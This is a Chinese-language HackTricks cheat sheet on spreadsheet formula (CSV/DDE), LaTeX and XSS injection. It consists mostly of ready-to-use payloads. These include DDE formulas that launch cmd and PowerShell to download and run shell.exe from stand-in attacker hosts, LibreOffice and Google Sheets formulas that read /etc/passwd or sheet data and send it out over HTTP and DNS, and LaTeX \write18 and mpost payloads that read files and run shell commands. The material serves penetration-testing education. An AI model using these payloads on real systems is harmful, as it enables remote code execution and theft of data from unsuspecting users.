12 KiB
公式/CSV/Doc/LaTeX/GhostScript 注入
从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您希望在 HackTricks 中看到您的公司广告 或 下载 HackTricks 的 PDF,请查看订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFTs 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
找到对您最重要的漏洞,以便更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。今天就免费试用。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
公式注入
信息
如果您的输入在CSV 文件中被反映(或任何可能会被 Excel 打开的其他文件),您可能能够放置 Excel 公式,当用户打开文件或当用户在 excel 表格内点击某个链接时将会执行这些公式。
{% hint style="danger" %} 如今,Excel 会提醒(多次)用户当从 Excel 外部加载内容时,以防止他执行恶意操作。因此,对最终有效载荷必须应用特别的社会工程学努力。 {% endhint %}
词表
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
超链接
以下示例非常有用,可以从最终的Excel表格中泄露内容,并执行对任意位置的请求。但它要求用户点击链接(并接受警告提示)。
示例取自 https://payatu.com/csv-injection-basic-to-exploit
假设一个学校的学生记录管理系统的攻击场景。该应用程序允许教师输入学校学生的详细信息。攻击者获取了应用程序的访问权限,并希望使用该应用程序的所有教师都受到威胁。因此,攻击者尝试通过Web应用程序执行CSV注入攻击。
攻击者需要窃取其他学生的详细信息。因此,攻击者在输入学生详细信息时使用超链接公式。
当教师导出CSV并点击超链接时,敏感数据被发送到攻击者的服务器。
导出的CSV文件包含恶意载荷。
学生的详细信息记录在攻击者的Web服务器中。
RCE
要使此示例工作,需要启用以下配置:
文件 → 选项 → 信任中心 → 信任中心设置 → 外部内容 → 启用动态数据交换服务器启动
或使用旧版本的Excel。
好消息是,当文件打开时,这个载荷会自动执行(如果用户接受警告)。
可以使用以下载荷执行计算器 =cmd|' /C calc'!xxx
更多
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
LFI
LibreOffice Calc
- 读取本地 /etc/passwd 文件的第一行:
='file:///etc/passwd'#$passwd.A1
- 泄露它:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))
- 泄露多行:
=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS 泄露:
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))
分析 DNS 泄露载荷:
- ‘file:///etc/passwd’#$passwd.A19 – 将读取本地 /etc/passwd 文件的第19行
- ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – 对返回的数据进行URL编码
- MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – 类似于子字符串,从第1个字符读取到第41个字符 - 这是限制 DNS 主机名长度的非常方便的方法(FQDN 的限制是254个字符,标签即子域的限制是63个字符)
- SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – 将所有的 %(URL编码中的特殊字符)替换为破折号 - 这是确保只使用有效的 DNS 字符
- CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – 将文件输出(经过上述处理后)与 FQDN(我们可以访问的域的权威主机)连接起来
- WEBSERVICE – 将会对这个不存在的 DNS 名称发出请求,我们可以在我们控制的 DNS 权威名称服务器上解析日志(或运行 tcpdump 等)
Google Sheets OOB 数据泄露
首先,让我们介绍一些更有趣的函数。
CONCATENATE: 将字符串连接在一起。
=CONCATENATE(A2:E2)
IMPORTXML:导入来自各种结构化数据类型的数据,包括XML、HTML、CSV、TSV以及RSS和ATOM XML feeds。
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED:导入RSS或ATOM feed。
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML:从HTML页面中的表格或列表导入数据。
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE:从指定的电子表格中导入一个单元格范围。
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
IMAGE: 将图像插入单元格。
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
LaTeX 注入
通常,您在互联网上找到的将 LaTeX 代码转换为 PDF 的服务器使用 pdflatex
。
这个程序使用 3 个主要属性来(不)允许命令执行:
--no-shell-escape
: 禁用\write18{command}
构造,即使它在 texmf.cnf 文件中被启用。--shell-restricted
: 与--shell-escape
相同,但限制于一组'安全'的预定义**命令 (**在 Ubuntu 16.04 上,列表位于/usr/share/texmf/web2c/texmf.cnf
)。--shell-escape
: 启用\write18{command}
构造。命令可以是任何 shell 命令。出于安全原因,通常不允许使用此构造。
然而,还有其他方法可以执行命令,因此为了避免 RCE,使用 --shell-restricted
非常重要。
读取文件
您可能需要调整注入,使用包装器如 [ 或 $。
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
读取单行文件
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
读取多行文件
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
写文件
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
命令执行
命令的输入将被重定向到stdin,使用临时文件来获取它。
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
如果您遇到任何LaTex错误,请考虑使用base64来获取没有错误字符的结果。
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
跨站脚本攻击
来自 @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript 注入
TODO: 从 https://blog.redteam-pentesting.de/2023/ghostscript-overview/ 创建一个摘要,包含最相关的信息和技术。
参考资料
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
找到对你最重要的漏洞,以便更快修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,在你的整个技术栈中找到问题,从 API 到 web 应用程序和云系统。今天就免费试用。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
从零开始学习 AWS 黑客攻击直到成为专家,通过 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果你想在 HackTricks 中看到你的公司广告或下载 HackTricks 的 PDF,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 发现PEASS 家族,我们独家的NFT 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享你的黑客技巧。